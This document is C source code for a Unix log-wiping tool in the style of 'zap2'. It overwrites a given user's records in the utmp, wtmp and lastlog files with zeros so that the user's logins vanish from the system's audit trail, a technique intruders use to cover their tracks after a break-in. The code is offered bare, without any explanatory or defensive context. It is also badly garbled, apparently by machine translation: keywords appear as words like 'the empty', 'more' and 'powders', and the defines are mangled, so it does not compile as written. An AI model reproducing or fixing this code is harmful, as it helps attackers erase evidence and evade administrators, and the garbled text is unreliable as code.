#include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define "/usr/adm/wtmp" WTMP_NAME; #define "/etc/utmp"UTMP_NAME; #define "/usr/adm/lastlog" LASTLOG_NAME; int f; the empty kill_utmp (who) char *who; {utmp_ent of struct utmp; if ((f=open(UTMP_NAME,O_RDWR)) >=0) {while ( reads (f, &utmp_ent,(utmp_ent)) sizeof > 0) if (!strncmp(utmp_ent.ut_name,who,strlen(wh{bzero ((*) char &utmp_ent,sizeof (utmp_ent)); lseek (f, - ((utmp_ent) of sizeof), SEEK_CUR); writes (f, &utmp_ent, (utmp_ent)de sizeof);} they close (f);}} the empty kill_wtmp (who) char *who; {utmp_ent of struct utmp; poslongo; it put it = 1L; if ((f=open(WTMP_NAME,O_RDWR)) >=0) { while (powders! = -1L) {lseek(f,-(long) ((sizeof (struct utmp)) * pos),L_XTND); if ( reads (f, &utmp_ent, sizeof (struct utmp)) <0) {it put = -1L;} more {if (!strncmp(utmp_ent.ut_name,who,strlen(wh {bzero ((utmp *) char &utmp_ent,sizeof(struct)); lseek(f, - ((sizeof (utmp destruct)) * it put) ,L_XTND); [sbrk] writes (f, &utmp_ent, (utmp_ent) desizeof); it put = -1L;} more powders + = 1L;}} closes (f);}} the empty kill_lastlog (who) char *who; {struct passwd *pwd; newll struct delastlog; if ((pwd=getpwnam(who)) !=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) > = 0) {lseek (f,(long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero ((*) char &newll,sizeof (newll)); writes (f, (*) char,sizeof &newll (newll)); closes (f);} } more printf (? \092n",who "%s:);} main (argc, argv) int argc; *argv [of char]; {if (argc==2){kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\092n");} more printf ("Error.\092n");}